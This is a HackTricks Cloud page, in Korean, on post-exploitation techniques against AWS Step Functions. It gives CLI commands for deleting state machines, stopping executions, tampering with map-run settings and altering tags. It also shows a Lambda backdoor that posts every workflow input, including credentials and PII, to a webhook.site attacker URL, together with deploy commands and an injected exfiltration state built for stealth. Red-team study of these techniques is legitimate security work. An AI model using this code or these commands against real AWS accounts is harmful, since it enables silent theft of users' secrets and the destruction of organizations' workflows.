AWS - Step Functions Post Exploitation
Reading time: 6 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Step Functions
이 AWS 서비스에 대한 자세한 정보는 다음을 확인하세요:
states:RevealSecrets
이 권한은 실행 내에서 비밀 데이터를 공개할 수 있게 해줍니다. 이를 위해 Inspection level을 TRACE로 설정하고 revealSecrets 매개변수를 true로 설정해야 합니다.
.png)
states:DeleteStateMachine
, states:DeleteStateMachineVersion
, states:DeleteStateMachineAlias
이 권한을 가진 공격자는 상태 기계, 그 버전 및 별칭을 영구적으로 삭제할 수 있습니다. 이는 중요한 워크플로를 방해하고, 데이터 손실을 초래하며, 영향을 받은 상태 기계를 복구하고 복원하는 데 상당한 시간이 소요될 수 있습니다. 또한, 공격자가 사용한 흔적을 지우고, 포렌식 조사를 방해하며, 필수 자동화 프로세스와 상태 구성을 제거하여 운영을 마비시킬 수 있습니다.
note
- 상태 기계를 삭제하면 해당 기계와 연결된 모든 버전 및 별칭도 삭제됩니다.
- 상태 기계 별칭을 삭제하면 이 별칭을 참조하는 상태 기계 버전은 삭제되지 않습니다.
- 현재 하나 이상의 별칭에 의해 참조되는 상태 기계 버전을 삭제할 수 없습니다.
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
- Potential Impact: 중요한 워크플로우의 중단, 데이터 손실 및 운영 중단.
states:UpdateMapRun
이 권한을 가진 공격자는 Map Run 실패 구성 및 병렬 설정을 조작할 수 있으며, 허용되는 최대 자식 워크플로우 실행 수를 증가시키거나 감소시킬 수 있어 서비스의 성능에 직접적인 영향을 미칩니다. 또한, 공격자는 허용된 실패 비율과 수치를 조작할 수 있으며, 이 값을 0으로 감소시켜 항목이 실패할 때마다 전체 맵 실행이 실패하게 할 수 있어 상태 머신 실행에 직접적인 영향을 미치고 중요한 워크플로우를 방해할 수 있습니다.
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
- 잠재적 영향: 성능 저하 및 중요한 워크플로우의 중단.
states:StopExecution
이 권한을 가진 공격자는 모든 상태 머신의 실행을 중지할 수 있어, 진행 중인 워크플로우와 프로세스를 방해할 수 있습니다. 이로 인해 불완전한 거래, 중단된 비즈니스 운영 및 잠재적인 데이터 손상이 발생할 수 있습니다.
warning
이 작업은 express state machines에서 지원되지 않습니다.
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
- Potential Impact: 진행 중인 워크플로의 중단, 운영 중단, 및 잠재적인 데이터 손상.
states:TagResource
, states:UntagResource
공격자는 Step Functions 리소스에서 태그를 추가, 수정 또는 제거하여 조직의 비용 할당, 리소스 추적 및 태그 기반 접근 제어 정책을 방해할 수 있습니다.
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
잠재적 영향: 비용 할당, 리소스 추적 및 태그 기반 액세스 제어 정책의 중단.
states:UpdateStateMachine
, lambda:UpdateFunctionCode
다음 권한을 가진 사용자 또는 역할을 손상시키는 공격자:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}
...고강도 및 은밀한 포스트 익스플로이테이션 공격을 Lambda 백도어와 Step Function 로직 조작을 결합하여 수행할 수 있습니다.
이 시나리오는 피해자가 AWS Step Functions를 사용하여 자격 증명, 토큰 또는 PII와 같은 민감한 입력을 처리하는 워크플로를 조정한다고 가정합니다.
예시 피해자 호출:
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
Step Function이 LegitBusinessLogic
과 같은 Lambda를 호출하도록 구성된 경우, 공격자는 두 가지 은밀한 공격 변형을 진행할 수 있습니다:
Lambda 함수 업데이트
공격자는 Step Function에 의해 이미 사용된 Lambda 함수(LegitBusinessLogic
)의 코드를 수정하여 입력 데이터를 조용히 유출합니다.
# send_to_attacker.py
import requests
def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
zip function.zip send_to_attacker.py
aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker
Step Function에 악성 상태 추가하기
대안으로, 공격자는 Step Function 정의를 업데이트하여 워크플로의 시작 부분에 exfiltration state를 주입할 수 있습니다.
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker
공격자는 상태 정의를 다음과 같이 업데이트하여 더욱 은밀하게 행동할 수 있습니다. { "Comment": "Exfiltration을 위한 백도어", "StartAt": "ExfiltrateSecrets", "States": { "ExfiltrateSecrets": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker", "InputPath": "$", "ResultPath": "$.exfil", "Next": "OriginalState" }, "OriginalState": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic", "End": true } } } 피해자는 차이를 인식하지 못할 것입니다.
피해자 설정 (익스플로잇을 위한 맥락)
- Step Function (
LegitStateMachine
)은 민감한 사용자 입력을 처리하는 데 사용됩니다. - 하나 이상의 Lambda 함수(예:
LegitBusinessLogic
)를 호출합니다.
잠재적 영향:
- 비밀, 자격 증명, API 키 및 PII를 포함한 민감한 데이터의 조용한 유출.
- 워크플로 실행에서 눈에 띄는 오류나 실패 없음.
- Lambda 코드나 실행 추적을 감사하지 않으면 감지하기 어려움.
- 백도어가 코드나 ASL 논리에 남아 있으면 장기적인 지속성을 가능하게 함.
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.